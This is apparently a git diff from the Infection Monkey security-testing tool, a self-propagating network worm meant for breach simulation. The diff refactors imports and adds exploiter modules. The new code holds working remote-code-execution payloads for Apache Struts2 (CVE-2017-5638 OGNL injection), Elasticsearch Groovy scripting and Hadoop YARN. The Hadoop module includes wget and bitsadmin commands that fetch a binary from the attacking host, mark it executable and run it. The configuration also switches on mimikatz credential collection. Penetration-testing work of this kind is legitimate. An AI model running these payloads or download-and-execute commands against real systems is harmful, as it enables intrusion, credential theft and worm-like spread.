class Configuration(object):
- def from_dict(self, data):
- """
- Get a dict of config variables, set known variables as attributes on self.
- Return dict of unknown variables encountered.
- """
- unknown_variables = {}
- for key, value in data.items():
+
+ def from_kv(self, formatted_data):
+ # now we won't work at <2.7 for sure
+ network_import = importlib.import_module('infection_monkey.network')
+ exploit_import = importlib.import_module('infection_monkey.exploit')
+
+ unknown_items = []
+ for key, value in formatted_data.items():
if key.startswith('_'):
continue
if key in ["name", "id", "current_server"]:
continue
if self._depth_from_commandline and key == "depth":
continue
- try:
- default_value = getattr(Configuration, key)
- except AttributeError:
- unknown_variables[key] = value
- continue
+ # handle in cases
+ if key == 'finger_classes':
+ class_objects = [getattr(network_import, val) for val in value]
+ setattr(self, key, class_objects)
+ elif key == 'scanner_class':
+ scanner_object = getattr(network_import, value)
+ setattr(self, key, scanner_object)
+ elif key == 'exploiter_classes':
+ class_objects = [getattr(exploit_import, val) for val in value]
+ setattr(self, key, class_objects)
+ else:
+ if hasattr(self, key):
+ setattr(self, key, value)
+ else:
+ unknown_items.append(key)
+ return unknown_items
- setattr(self, key, _cast_by_example(value, default_value))
- return unknown_variables
+ def from_json(self, json_data):
+ """
+ Gets a json data object, parses it and applies it to the configuration
+ :param json_data:
+ :return:
+ """
+ formatted_data = json.loads(json_data)
+ result = self.from_kv(formatted_data)
+ return result
def as_dict(self):
result = {}
@@ -145,12 +133,9 @@ class Configuration(object):
# how many scan iterations to perform on each run
max_iterations = 1
- scanner_class = TcpScanner
- finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger, MSSQLFinger]
- exploiter_classes = [SmbExploiter, WmiExploiter, # Windows exploits
- SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux
- ElasticGroovyExploiter, Struts2Exploiter # multi
- ]
+ scanner_class = None
+ finger_classes = []
+ exploiter_classes = []
# how many victims to look for in a single scan iteration
victims_max_find = 30
@@ -186,12 +171,14 @@ class Configuration(object):
local_network_scan = True
subnet_scan_list = []
+ inaccessible_subnets = []
blocked_ips = []
# TCP Scanner
HTTP_PORTS = [80, 8080, 443,
- 8008, # HTTP alternate
+ 8008, # HTTP alternate
+ 7001 # Oracle Weblogic default server port
]
tcp_target_ports = [22,
2222,
@@ -273,13 +260,12 @@ class Configuration(object):
# system info collection
collect_system_info = True
+ should_use_mimikatz = True
###########################
# systeminfo config
###########################
- mimikatz_dll_name = "mk.dll"
-
extract_azure_creds = True
diff --git a/infection_monkey/control.py b/monkey/infection_monkey/control.py
similarity index 94%
rename from infection_monkey/control.py
rename to monkey/infection_monkey/control.py
index d2cbc0cc0..98ad55671 100644
--- a/infection_monkey/control.py
+++ b/monkey/infection_monkey/control.py
@@ -6,12 +6,12 @@ from socket import gethostname
import requests
from requests.exceptions import ConnectionError
-import monkeyfs
-import tunnel
-from config import WormConfiguration, GUID
-from network.info import local_ips, check_internet_access
-from transport.http import HTTPConnectProxy
-from transport.tcp import TcpProxy
+import infection_monkey.monkeyfs as monkeyfs
+import infection_monkey.tunnel as tunnel
+from infection_monkey.config import WormConfiguration, GUID
+from infection_monkey.network.info import local_ips, check_internet_access
+from infection_monkey.transport.http import HTTPConnectProxy
+from infection_monkey.transport.tcp import TcpProxy
__author__ = 'hoffer'
@@ -19,6 +19,9 @@ requests.packages.urllib3.disable_warnings()
LOG = logging.getLogger(__name__)
DOWNLOAD_CHUNK = 1024
+# random number greater than 5,
+# to prevent the monkey from just waiting forever to try and connect to an island before going elsewhere.
+TIMEOUT = 15
class ControlClient(object):
@@ -72,7 +75,8 @@ class ControlClient(object):
LOG.debug(debug_message)
requests.get("https://%s/api?action=is-up" % (server,),
verify=False,
- proxies=ControlClient.proxies)
+ proxies=ControlClient.proxies,
+ timeout=TIMEOUT)
WormConfiguration.current_server = current_server
break
@@ -160,7 +164,7 @@ class ControlClient(object):
return
try:
- unknown_variables = WormConfiguration.from_dict(reply.json().get('config'))
+ unknown_variables = WormConfiguration.from_kv(reply.json().get('config'))
LOG.info("New configuration was loaded from server: %r" % (WormConfiguration.as_dict(),))
except Exception as exc:
# we don't continue with default conf here because it might be dangerous
diff --git a/infection_monkey/dropper.py b/monkey/infection_monkey/dropper.py
similarity index 92%
rename from infection_monkey/dropper.py
rename to monkey/infection_monkey/dropper.py
index 6e63e5404..02bd649c2 100644
--- a/infection_monkey/dropper.py
+++ b/monkey/infection_monkey/dropper.py
@@ -9,10 +9,11 @@ import sys
import time
from ctypes import c_char_p
-from config import WormConfiguration
-from exploit.tools import build_monkey_commandline_explicitly
-from model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX
-from system_info import SystemInfoCollector, OperatingSystem
+import filecmp
+from infection_monkey.config import WormConfiguration
+from infection_monkey.exploit.tools import build_monkey_commandline_explicitly
+from infection_monkey.model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX
+from infection_monkey.system_info import SystemInfoCollector, OperatingSystem
if "win32" == sys.platform:
from win32process import DETACHED_PROCESS
@@ -56,7 +57,10 @@ class MonkeyDrops(object):
return False
# we copy/move only in case path is different
- file_moved = os.path.samefile(self._config['source_path'], self._config['destination_path'])
+ try:
+ file_moved = filecmp.cmp(self._config['source_path'], self._config['destination_path'])
+ except OSError:
+ file_moved = False
if not file_moved and os.path.exists(self._config['destination_path']):
os.remove(self._config['destination_path'])
diff --git a/infection_monkey/example.conf b/monkey/infection_monkey/example.conf
similarity index 95%
rename from infection_monkey/example.conf
rename to monkey/infection_monkey/example.conf
index 3c33d975a..4e608f72f 100644
--- a/infection_monkey/example.conf
+++ b/monkey/infection_monkey/example.conf
@@ -10,6 +10,7 @@
"subnet_scan_list": [
],
+ "inaccessible_subnets": [],
"blocked_ips": [],
"current_server": "192.0.2.0:5000",
"alive": true,
@@ -37,7 +38,9 @@
"ShellShockExploiter",
"ElasticGroovyExploiter",
"SambaCryExploiter",
- "Struts2Exploiter"
+ "Struts2Exploiter",
+ "WebLogicExploiter",
+ "HadoopExploiter"
],
"finger_classes": [
"SSHFinger",
@@ -87,10 +90,11 @@
443,
3306,
8008,
- 9200
+ 9200,
+ 7001
],
"timeout_between_iterations": 10,
"use_file_logging": true,
"victims_max_exploit": 7,
"victims_max_find": 30
-}
\ No newline at end of file
+}
diff --git a/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py
similarity index 55%
rename from infection_monkey/exploit/__init__.py
rename to monkey/infection_monkey/exploit/__init__.py
index f2d5d0c5b..470155020 100644
--- a/infection_monkey/exploit/__init__.py
+++ b/monkey/infection_monkey/exploit/__init__.py
@@ -1,4 +1,5 @@
from abc import ABCMeta, abstractmethod
+import infection_monkey.config
__author__ = 'itamar'
@@ -9,7 +10,7 @@ class HostExploiter(object):
_TARGET_OS_TYPE = []
def __init__(self, host):
-
+ self._config = infection_monkey.config.WormConfiguration
self._exploit_info = {}
self._exploit_attempts = []
self.host = host
@@ -18,7 +19,7 @@ class HostExploiter(object):
return self.host.os.get('type') in self._TARGET_OS_TYPE
def send_exploit_telemetry(self, result):
- from control import ControlClient
+ from infection_monkey.control import ControlClient
ControlClient.send_telemetry(
'exploit',
{'result': result, 'machine': self.host.__dict__, 'exploiter': self.__class__.__name__,
@@ -33,12 +34,14 @@ class HostExploiter(object):
raise NotImplementedError()
-from win_ms08_067 import Ms08_067_Exploiter
-from wmiexec import WmiExploiter
-from smbexec import SmbExploiter
-from rdpgrinder import RdpExploiter
-from sshexec import SSHExploiter
-from shellshock import ShellShockExploiter
-from sambacry import SambaCryExploiter
-from elasticgroovy import ElasticGroovyExploiter
-from struts2 import Struts2Exploiter
+from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter
+from infection_monkey.exploit.wmiexec import WmiExploiter
+from infection_monkey.exploit.smbexec import SmbExploiter
+from infection_monkey.exploit.rdpgrinder import RdpExploiter
+from infection_monkey.exploit.sshexec import SSHExploiter
+from infection_monkey.exploit.shellshock import ShellShockExploiter
+from infection_monkey.exploit.sambacry import SambaCryExploiter
+from infection_monkey.exploit.elasticgroovy import ElasticGroovyExploiter
+from infection_monkey.exploit.struts2 import Struts2Exploiter
+from infection_monkey.exploit.weblogic import WebLogicExploiter
+from infection_monkey.exploit.hadoop import HadoopExploiter
diff --git a/monkey/infection_monkey/exploit/elasticgroovy.py b/monkey/infection_monkey/exploit/elasticgroovy.py
new file mode 100644
index 000000000..9eb64682b
--- /dev/null
+++ b/monkey/infection_monkey/exploit/elasticgroovy.py
@@ -0,0 +1,65 @@
+"""
+ Implementation is based on elastic search groovy exploit by metasploit
+ https://github.com/rapid7/metasploit-framework/blob/12198a088132f047e0a86724bc5ebba92a73ac66/modules/exploits/multi/elasticsearch/search_groovy_script.rb
+ Max vulnerable elasticsearch version is "1.4.2"
+"""
+
+import json
+import logging
+import requests
+from infection_monkey.exploit.web_rce import WebRCE
+from infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP
+from infection_monkey.network.elasticfinger import ES_PORT, ES_SERVICE
+
+import re
+
+__author__ = 'danielg, VakarisZ'
+
+LOG = logging.getLogger(__name__)
+
+
+class ElasticGroovyExploiter(WebRCE):
+ # attack URLs
+ MONKEY_RESULT_FIELD = "monkey_result"
+ GENERIC_QUERY = '''{"size":1, "script_fields":{"%s": {"script": "%%s"}}}''' % MONKEY_RESULT_FIELD
+ JAVA_CMD = GENERIC_QUERY \
+ % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"""
+
+ _TARGET_OS_TYPE = ['linux', 'windows']
+
+ def __init__(self, host):
+ super(ElasticGroovyExploiter, self).__init__(host)
+
+ def get_exploit_config(self):
+ exploit_config = super(ElasticGroovyExploiter, self).get_exploit_config()
+ exploit_config['dropper'] = True
+ exploit_config['url_extensions'] = ['_search?pretty']
+ exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': RDP_CMDLINE_HTTP}
+ return exploit_config
+
+ def get_open_service_ports(self, port_list, names):
+ # We must append elastic port we get from elastic fingerprint module because It's not marked as 'http' service
+ valid_ports = super(ElasticGroovyExploiter, self).get_open_service_ports(port_list, names)
+ if ES_SERVICE in self.host.services:
+ valid_ports.append([ES_PORT, False])
+ return valid_ports
+
+ def exploit(self, url, command):
+ command = re.sub(r"\\", r"\\\\\\\\", command)
+ payload = self.JAVA_CMD % command
+ response = requests.get(url, data=payload)
+ result = self.get_results(response)
+ if not result:
+ return False
+ return result[0]
+
+ def get_results(self, response):
+ """
+ Extracts the result data from our attack
+ :return: List of data fields or None
+ """
+ try:
+ json_resp = json.loads(response.text)
+ return json_resp['hits']['hits'][0]['fields'][self.MONKEY_RESULT_FIELD]
+ except (KeyError, IndexError):
+ return None
diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py
new file mode 100644
index 000000000..0605614ee
--- /dev/null
+++ b/monkey/infection_monkey/exploit/hadoop.py
@@ -0,0 +1,101 @@
+"""
+ Remote code execution on HADOOP server with YARN and default settings
+ Implementation is based on code from https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn
+"""
+
+import requests
+import json
+import random
+import string
+import logging
+import posixpath
+
+from infection_monkey.exploit.web_rce import WebRCE
+from infection_monkey.exploit.tools import HTTPTools, build_monkey_commandline, get_monkey_depth
+from infection_monkey.model import MONKEY_ARG, ID_STRING
+
+__author__ = 'VakarisZ'
+
+LOG = logging.getLogger(__name__)
+
+
+class HadoopExploiter(WebRCE):
+ _TARGET_OS_TYPE = ['linux', 'windows']
+ HADOOP_PORTS = [["8088", False]]
+
+ # We need to prevent from downloading if monkey already exists because hadoop uses multiple threads/nodes
+ # to download monkey at the same time
+ LINUX_COMMAND = "! [ -f %(monkey_path)s ] " \
+ "&& wget -O %(monkey_path)s %(http_path)s " \
+ "; chmod +x %(monkey_path)s " \
+ "&& %(monkey_path)s %(monkey_type)s %(parameters)s"
+ WINDOWS_COMMAND = "cmd /c if NOT exist %(monkey_path)s bitsadmin /transfer" \
+ " Update /download /priority high %(http_path)s %(monkey_path)s " \
+ "& %(monkey_path)s %(monkey_type)s %(parameters)s"
+ # How long we have our http server open for downloads in seconds
+ DOWNLOAD_TIMEOUT = 60
+ # Random string's length that's used for creating unique app name
+ RAN_STR_LEN = 6
+
+ def __init__(self, host):
+ super(HadoopExploiter, self).__init__(host)
+
+ def exploit_host(self):
+ # Try to get exploitable url
+ urls = self.build_potential_urls(self.HADOOP_PORTS)
+ self.add_vulnerable_urls(urls, True)
+ if not self.vulnerable_urls:
+ return False
+ paths = self.get_monkey_paths()
+ if not paths:
+ return False
+ http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths['src_path'])
+ command = self.build_command(paths['dest_path'], http_path)
+ if not self.exploit(self.vulnerable_urls[0], command):
+ return False
+ http_thread.join(self.DOWNLOAD_TIMEOUT)
+ http_thread.stop()
+ return True
+
+ def exploit(self, url, command):
+ # Get the newly created application id
+ resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application"))
+ resp = json.loads(resp.content)
+ app_id = resp['application-id']
+ # Create a random name for our application in YARN
+ rand_name = ID_STRING + "".join([random.choice(string.ascii_lowercase) for _ in xrange(self.RAN_STR_LEN)])
+ payload = self.build_payload(app_id, rand_name, command)
+ resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/"), json=payload)
+ return resp.status_code == 202
+
+ def check_if_exploitable(self, url):
+ try:
+ resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application"))
+ except requests.ConnectionError:
+ return False
+ return resp.status_code == 200
+
+ def build_command(self, path, http_path):
+ # Build command to execute
+ monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1)
+ if 'linux' in self.host.os['type']:
+ base_command = self.LINUX_COMMAND
+ else:
+ base_command = self.WINDOWS_COMMAND
+
+ return base_command % {"monkey_path": path, "http_path": http_path,
+ "monkey_type": MONKEY_ARG, "parameters": monkey_cmd}
+
+ @staticmethod
+ def build_payload(app_id, name, command):
+ payload = {
+ "application-id": app_id,
+ "application-name": name,
+ "am-container-spec": {
+ "commands": {
+ "command": command,
+ }
+ },
+ "application-type": "YARN"
+ }
+ return payload
diff --git a/infection_monkey/exploit/rdpgrinder.py b/monkey/infection_monkey/exploit/rdpgrinder.py
similarity index 96%
rename from infection_monkey/exploit/rdpgrinder.py
rename to monkey/infection_monkey/exploit/rdpgrinder.py
index 5d73c8279..3873a8ce3 100644
--- a/infection_monkey/exploit/rdpgrinder.py
+++ b/monkey/infection_monkey/exploit/rdpgrinder.py
@@ -9,12 +9,12 @@ from rdpy.core.error import RDPSecurityNegoFail
from rdpy.protocol.rdp import rdp
from twisted.internet import reactor
-from exploit import HostExploiter
-from exploit.tools import HTTPTools, get_monkey_depth
-from exploit.tools import get_target_monkey
-from model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS
-from network.tools import check_tcp_port
-from tools import build_monkey_commandline
+from infection_monkey.exploit import HostExploiter
+from infection_monkey.exploit.tools import HTTPTools, get_monkey_depth
+from infection_monkey.exploit.tools import get_target_monkey
+from infection_monkey.model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS
+from infection_monkey.network.tools import check_tcp_port
+from infection_monkey.exploit.tools import build_monkey_commandline
__author__ = 'hoffer'
@@ -237,8 +237,6 @@ class RdpExploiter(HostExploiter):
def __init__(self, host):
super(RdpExploiter, self).__init__(host)
- self._config = __import__('config').WormConfiguration
- self._guid = __import__('config').GUID
def is_os_supported(self):
if super(RdpExploiter, self).is_os_supported():
diff --git a/infection_monkey/exploit/sambacry.py b/monkey/infection_monkey/exploit/sambacry.py
similarity index 96%
rename from infection_monkey/exploit/sambacry.py
rename to monkey/infection_monkey/exploit/sambacry.py
index 930cd8854..9e08d2dff 100644
--- a/infection_monkey/exploit/sambacry.py
+++ b/monkey/infection_monkey/exploit/sambacry.py
@@ -15,11 +15,12 @@ from impacket.smb3structs import SMB2_IL_IMPERSONATION, SMB2_CREATE, SMB2_FLAGS_
SMB2Packet, SMB2Create_Response, SMB2_OPLOCK_LEVEL_NONE
from impacket.smbconnection import SMBConnection
-import monkeyfs
-from exploit import HostExploiter
-from model import DROPPER_ARG
-from network.smbfinger import SMB_SERVICE
-from tools import build_monkey_commandline, get_target_monkey_by_os, get_binaries_dir_path, get_monkey_depth
+import infection_monkey.monkeyfs as monkeyfs
+from infection_monkey.exploit import HostExploiter
+from infection_monkey.model import DROPPER_ARG
+from infection_monkey.network.smbfinger import SMB_SERVICE
+from infection_monkey.exploit.tools import build_monkey_commandline, get_target_monkey_by_os, get_monkey_depth
+from infection_monkey.pyinstaller_utils import get_binary_file_path
__author__ = 'itay.mizeretz'
@@ -52,7 +53,6 @@ class SambaCryExploiter(HostExploiter):
def __init__(self, host):
super(SambaCryExploiter, self).__init__(host)
- self._config = __import__('config').WormConfiguration
def exploit_host(self):
if not self.is_vulnerable():
@@ -306,12 +306,12 @@ class SambaCryExploiter(HostExploiter):
def get_monkey_runner_bin_file(self, is_32bit):
if is_32bit:
- return open(path.join(get_binaries_dir_path(), self.SAMBACRY_RUNNER_FILENAME_32), "rb")
+ return open(get_binary_file_path(self.SAMBACRY_RUNNER_FILENAME_32), "rb")
else:
- return open(path.join(get_binaries_dir_path(), self.SAMBACRY_RUNNER_FILENAME_64), "rb")
+ return open(get_binary_file_path(self.SAMBACRY_RUNNER_FILENAME_64), "rb")
def get_monkey_commandline_file(self, location):
- return BytesIO(DROPPER_ARG + build_monkey_commandline(self.host, get_monkey_depth() - 1, location))
+ return BytesIO(DROPPER_ARG + build_monkey_commandline(self.host, get_monkey_depth() - 1, str(location)))
@staticmethod
def is_share_writable(smb_client, share):
diff --git a/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py
similarity index 95%
rename from infection_monkey/exploit/shellshock.py
rename to monkey/infection_monkey/exploit/shellshock.py
index e1ef246b6..b268371be 100644
--- a/infection_monkey/exploit/shellshock.py
+++ b/monkey/infection_monkey/exploit/shellshock.py
@@ -6,11 +6,11 @@ from random import choice
import requests
-from exploit import HostExploiter
-from exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth
-from model import DROPPER_ARG
-from shellshock_resources import CGI_FILES
-from tools import build_monkey_commandline
+from infection_monkey.exploit import HostExploiter
+from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth
+from infection_monkey.model import DROPPER_ARG
+from infection_monkey.exploit.shellshock_resources import CGI_FILES
+from infection_monkey.exploit.tools import build_monkey_commandline
__author__ = 'danielg'
@@ -29,7 +29,6 @@ class ShellShockExploiter(HostExploiter):
def __init__(self, host):
super(ShellShockExploiter, self).__init__(host)
- self._config = __import__('config').WormConfiguration
self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
self.success_flag = ''.join(
choice(string.ascii_uppercase + string.digits
@@ -134,7 +133,7 @@ class ShellShockExploiter(HostExploiter):
# run the monkey
cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG)
- cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) + ' & '
+ cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_target_path_linux) + ' & '
run_path = exploit + cmdline
self.attack_page(url, header, run_path)
diff --git a/infection_monkey/exploit/shellshock_resources.py b/monkey/infection_monkey/exploit/shellshock_resources.py
similarity index 100%
rename from infection_monkey/exploit/shellshock_resources.py
rename to monkey/infection_monkey/exploit/shellshock_resources.py
diff --git a/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py
similarity index 92%
rename from infection_monkey/exploit/smbexec.py
rename to monkey/infection_monkey/exploit/smbexec.py
index d3b27f79d..7528e08ba 100644
--- a/infection_monkey/exploit/smbexec.py
+++ b/monkey/infection_monkey/exploit/smbexec.py
@@ -3,12 +3,12 @@ from logging import getLogger
from impacket.dcerpc.v5 import transport, scmr
from impacket.smbconnection import SMB_DIALECT
-from exploit import HostExploiter
-from exploit.tools import SmbTools, get_target_monkey, get_monkey_depth
-from model import MONKEY_CMDLINE_DETACHED_WINDOWS, DROPPER_CMDLINE_DETACHED_WINDOWS
-from network import SMBFinger
-from network.tools import check_tcp_port
-from tools import build_monkey_commandline
+from infection_monkey.exploit import HostExploiter
+from infection_monkey.exploit.tools import SmbTools, get_target_monkey, get_monkey_depth
+from infection_monkey.model import MONKEY_CMDLINE_DETACHED_WINDOWS, DROPPER_CMDLINE_DETACHED_WINDOWS
+from infection_monkey.network import SMBFinger
+from infection_monkey.network.tools import check_tcp_port
+from infection_monkey.exploit.tools import build_monkey_commandline
LOG = getLogger(__name__)
@@ -23,8 +23,6 @@ class SmbExploiter(HostExploiter):
def __init__(self, host):
super(SmbExploiter, self).__init__(host)
- self._config = __import__('config').WormConfiguration
- self._guid = __import__('config').GUID
def is_os_supported(self):
if super(SmbExploiter, self).is_os_supported():
diff --git a/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py
similarity index 95%
rename from infection_monkey/exploit/sshexec.py
rename to monkey/infection_monkey/exploit/sshexec.py
index 7c6cc6509..82dd1f4d7 100644
--- a/infection_monkey/exploit/sshexec.py
+++ b/monkey/infection_monkey/exploit/sshexec.py
@@ -4,12 +4,12 @@ import time
import paramiko
import StringIO
-import monkeyfs
-from exploit import HostExploiter
-from exploit.tools import get_target_monkey, get_monkey_depth
-from model import MONKEY_ARG
-from network.tools import check_tcp_port
-from tools import build_monkey_commandline
+import infection_monkey.monkeyfs as monkeyfs
+from infection_monkey.exploit import HostExploiter
+from infection_monkey.exploit.tools import get_target_monkey, get_monkey_depth
+from infection_monkey.model import MONKEY_ARG
+from infection_monkey.network.tools import check_tcp_port
+from infection_monkey.exploit.tools import build_monkey_commandline
__author__ = 'hoffer'
@@ -23,7 +23,6 @@ class SSHExploiter(HostExploiter):
def __init__(self, host):
super(SSHExploiter, self).__init__(host)
- self._config = __import__('config').WormConfiguration
self._update_timestamp = 0
self.skip_exist = self._config.skip_exploit_if_file_exist
diff --git a/monkey/infection_monkey/exploit/struts2.py b/monkey/infection_monkey/exploit/struts2.py
new file mode 100644
index 000000000..18f3d3a7e
--- /dev/null
+++ b/monkey/infection_monkey/exploit/struts2.py
@@ -0,0 +1,94 @@
+"""
+ Implementation is based on Struts2 jakarta multiparser RCE exploit ( CVE-2017-5638 )
+ code used is from https://www.exploit-db.com/exploits/41570/
+ Vulnerable struts2 versions <=2.3.31 and <=2.5.10
+"""
+import urllib2
+import httplib
+import unicodedata
+import re
+
+import logging
+from infection_monkey.exploit.web_rce import WebRCE
+
+__author__ = "VakarisZ"
+
+LOG = logging.getLogger(__name__)
+
+DOWNLOAD_TIMEOUT = 300
+
+
+class Struts2Exploiter(WebRCE):
+ _TARGET_OS_TYPE = ['linux', 'windows']
+
+ def __init__(self, host):
+ super(Struts2Exploiter, self).__init__(host, None)
+
+ def get_exploit_config(self):
+ exploit_config = super(Struts2Exploiter, self).get_exploit_config()
+ exploit_config['dropper'] = True
+ return exploit_config
+
+ def build_potential_urls(self, ports, extensions=None):
+ """
+ We need to override this method to get redirected url's
+ :param ports: Array of ports. One port is described as size 2 array: [port.no(int), isHTTPS?(bool)]
+ Eg. ports: [[80, False], [443, True]]
+ :param extensions: What subdirectories to scan. www.domain.com[/extension]
+ :return: Array of url's to try and attack
+ """
+ url_list = super(Struts2Exploiter, self).build_potential_urls(ports)
+ url_list = [self.get_redirected(url) for url in url_list]
+ return url_list
+
+ @staticmethod
+ def get_redirected(url):
+ # Returns false if url is not right
+ headers = {'User-Agent': 'Mozilla/5.0'}
+ request = urllib2.Request(url, headers=headers)
+ try:
+ return urllib2.urlopen(request).geturl()
+ except urllib2.URLError:
+ LOG.error("Can't reach struts2 server")
+ return False
+
+ def exploit(self, url, cmd):
+ """
+ :param url: Full url to send request to
+ :param cmd: Code to try and execute on host
+ :return: response
+ """
+ cmd = re.sub(r"\\", r"\\\\", cmd)
+ cmd = re.sub(r"'", r"\\'", cmd)
+ payload = "%%{(#_='multipart/form-data')." \
+ "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." \
+ "(#_memberAccess?" \
+ "(#_memberAccess=#dm):" \
+ "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." \
+ "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." \
+ "(#ognlUtil.getExcludedPackageNames().clear())." \
+ "(#ognlUtil.getExcludedClasses().clear())." \
+ "(#context.setMemberAccess(#dm))))." \
+ "(#cmd='%s')." \
+ "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." \
+ "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." \
+ "(#p=new java.lang.ProcessBuilder(#cmds))." \
+ "(#p.redirectErrorStream(true)).(#process=#p.start())." \
+ "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." \
+ "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." \
+ "(#ros.flush())}" % cmd
+ # Turns payload ascii just for consistency
+ if isinstance(payload, unicode):
+ payload = unicodedata.normalize('NFKD', payload).encode('ascii', 'ignore')
+ headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
+ try:
+ request = urllib2.Request(url, headers=headers)
+ # Timeout added or else we would wait for all monkeys' output
+ page = urllib2.urlopen(request).read()
+ except AttributeError:
+ # If url does not exist
+ return False
+ except httplib.IncompleteRead as e:
+ page = e.partial
+
+ return page
diff --git a/infection_monkey/exploit/tools.py b/monkey/infection_monkey/exploit/tools.py
similarity index 83%
rename from infection_monkey/exploit/tools.py
rename to monkey/infection_monkey/exploit/tools.py
index dbbd8070a..a7a137557 100644
--- a/infection_monkey/exploit/tools.py
+++ b/monkey/infection_monkey/exploit/tools.py
@@ -17,11 +17,13 @@ from impacket.dcerpc.v5.dtypes import NULL
from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21
from impacket.smbconnection import SMBConnection, SMB_DIALECT
-import monkeyfs
-from network import local_ips
-from network.firewall import app as firewall
-from network.info import get_free_tcp_port, get_routes
-from transport import HTTPServer
+import infection_monkey.config
+import infection_monkey.monkeyfs as monkeyfs
+from infection_monkey.network import local_ips
+from infection_monkey.network.firewall import app as firewall
+from infection_monkey.network.info import get_free_tcp_port, get_routes
+from infection_monkey.transport import HTTPServer, LockedHTTPServer
+from threading import Lock
class DceRpcException(Exception):
@@ -173,8 +175,7 @@ class SmbTools(object):
@staticmethod
def copy_file(host, src_path, dst_path, username, password, lm_hash='', ntlm_hash='', timeout=60):
assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,)
-
- config = __import__('config').WormConfiguration
+ config = infection_monkey.config.WormConfiguration
src_file_size = monkeyfs.getsize(src_path)
smb, dialect = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
@@ -386,6 +387,34 @@ class HTTPTools(object):
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
+ @staticmethod
+ def create_locked_transfer(host, src_path, local_ip=None, local_port=None):
+ """
+ Create http server for file transfer with a lock
+ :param host: Variable with target's information
+ :param src_path: Monkey's path on current system
+ :param local_ip: IP where to host server
+ :param local_port: Port at which to host monkey's download
+ :return: Server address in http://%s:%s/%s format and LockedHTTPServer handler
+ """
+ # To avoid race conditions we pass a locked lock to http servers thread
+ lock = Lock()
+ lock.acquire()
+ if not local_port:
+ local_port = get_free_tcp_port()
+
+ if not local_ip:
+ local_ip = get_interface_to_target(host.ip_addr)
+
+ if not firewall.listen_allowed():
+ LOG.error("Firewall is not allowed to listen for incomming ports. Aborting")
+ return None, None
+
+ httpd = LockedHTTPServer(local_ip, local_port, src_path, lock)
+ httpd.start()
+ lock.acquire()
+ return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
+
def get_interface_to_target(dst):
if sys.platform == "win32":
@@ -416,7 +445,7 @@ def get_interface_to_target(dst):
def get_target_monkey(host):
- from control import ControlClient
+ from infection_monkey.control import ControlClient
import platform
import sys
@@ -442,7 +471,7 @@ def get_target_monkey(host):
def get_target_monkey_by_os(is_windows, is_32bit):
- from control import ControlClient
+ from infection_monkey.control import ControlClient
return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit)
@@ -466,18 +495,38 @@ def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, d
def build_monkey_commandline(target_host, depth, location=None):
- from config import GUID
+ from infection_monkey.config import GUID
return build_monkey_commandline_explicitly(
GUID, target_host.default_tunnel, target_host.default_server, depth, location)
-def get_binaries_dir_path():
- if getattr(sys, 'frozen', False):
- return sys._MEIPASS
- else:
- return os.path.dirname(os.path.abspath(__file__))
-
-
def get_monkey_depth():
- from config import WormConfiguration
+ from infection_monkey.config import WormConfiguration
return WormConfiguration.depth
+
+
+def get_monkey_dest_path(url_to_monkey):
+ """
+ Gets destination path from monkey's source url.
+ :param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe
+ :return: Corresponding monkey path from configuration
+ """
+ from infection_monkey.config import WormConfiguration
+ if not url_to_monkey or ('linux' not in url_to_monkey and 'windows' not in url_to_monkey):
+ LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey)
+ return False
+ try:
+ if 'linux' in url_to_monkey:
+ return WormConfiguration.dropper_target_path_linux
+ elif 'windows-32' in url_to_monkey:
+ return WormConfiguration.dropper_target_path_win_32
+ elif 'windows-64' in url_to_monkey:
+ return WormConfiguration.dropper_target_path_win_64
+ else:
